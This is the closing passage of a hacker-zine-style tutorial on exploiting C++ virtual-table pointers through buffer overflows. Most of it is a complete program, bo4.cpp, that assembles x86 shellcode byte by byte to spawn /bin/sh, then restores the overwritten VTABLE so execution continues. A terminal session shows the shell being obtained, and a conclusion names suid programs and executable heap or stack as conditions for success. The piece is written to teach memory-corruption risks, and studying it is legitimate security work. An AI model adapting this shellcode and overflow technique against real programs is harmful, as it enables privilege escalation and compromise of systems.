jmp *%eax //run the original method We now must code a BufferOverflow() function that is going to "compile" us the shellcode and the stackcode, and to create the structure of our buffer. Here are parameters that we should pass to this function: - BufferAddress = address of our buffer in memory. - IAddress = index in the VTABLE of the 1st method that will be executed. - VPTROffset = offset in our buffer of the VPTR to overwrite. - AddThis = value that will be added to the This pointer on the stack, because of the "strange handling". - VTABLEAddress = address of the original VTABLE of our class (coded in the executable). - *NewBuffer = a pointer to the new chain that we want to place in our buffer to normally continue the program. - LastByte = the original byte following the VPTR in memory, that is overwritten at the time of the copy of our buffer in the original buffer, because of the 00h. Here is the resulting code of the program (bo4.cpp): #include #include #include #define BUFFERSIZE 256 class BaseClass { private: char Buffer[BUFFERSIZE]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset, unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) { char *CBuf; unsigned long *LBuf; unsigned short *SBuf; char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long i, MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset, LastByteOffset; char *BinSh="/bin/sh"; CBuf=(char*)malloc(VPTROffset+4+1); LBuf=(unsigned long*)CBuf; BinShSize=(char)strlen(BinSh); ShellCodeSize=0x62; StackCodeSize=0x91+2-0x62; NewBufferSize=(char)strlen(NewBuffer); MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4; NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12; BinSh00Offset=BinShOffset+(unsigned long)BinShSize; ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize; LastByteOffset=VPTROffset+4; for (i=0;i LFATHER) CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4; CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve()) //LFATHER: CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait()) CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode) //stackcode: CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4; CBuf[i++]='\xBF'; //movl $BufferAddress,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4; CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi) CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\x8B';CBuf[i++]='\x43'; CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax CBuf[i++]='\x9D'; //popf CBuf[i++]='\x5B'; //popl %ebx CBuf[i++]='\x59'; //popl %ecx CBuf[i++]='\x5A'; //popl %edx CBuf[i++]='\x5E'; //popl %esi CBuf[i++]='\x5F'; //popl %edi CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp CBuf[i++]='\x5D'; //popl %ebp CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize); //insert the new string into the buffer LBuf=(unsigned long*)&CBuf[VPTROffset]; *LBuf=BufferAddress; //address of our VTABLE CBuf[LastByteOffset]=0; //last byte (for strcpy()) return CBuf; } void main() { BaseClass *Object[2]; unsigned long *VTABLEAddress; Object[0]=new MyClass1; Object[1]=new MyClass2; printf("Object[0] address = %X\n",(unsigned long)&(*Object[0])); VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256); printf("VTable address = %X\n",*VTABLEAddress); Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE, 0x0101,*VTABLEAddress,"newstring",0x29)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } Now, we are ready to compile and to check... rix@pentium:~/BO > gcc -o bo4 bo4.cpp rix@pentium:~/BO > bo4 adresse Object[0] = 804A860 adresse VTable = 8049730 sh-2.02$ exit exit MyClass1: newstring MyClass2: string2 rix@pentium:~/BO > And as foreseen, our shell executes himself, then the program continue its execution, with a new string in the buffer ("newstring ")!!! Conclusion ========== To summarize, let's note that the basis technique requires the following conditions for success: - a buffer of a certain minimal size - suid program - executable heap and/or executable stack (according to techniques) - to know the address of the beginning of the buffer (on the heap or on the stack) - to know the offset from the beginning of the buffer of the VPTR (fixed for all executions) - to know the offset in the VTABLE of the pointer to the 1st method executed after the overflow (fixed for all executions) - to know the address of the VTABLE if we want to continue the execution of the program correctly. I hope this article will have once again show you how pointers (more and more used in modern programming ) can be very dangerous in some particular cases. We notice that some languages as powerful as C++, always include some weakness, and that this is not with a particular language or tools that a program becomes secured, but mainly because of the knowledge and expertise of its conceivers... Thanks to: route, klog, mayhem, nite, darkbug. |EOF|-------------------------------------------------------------------------|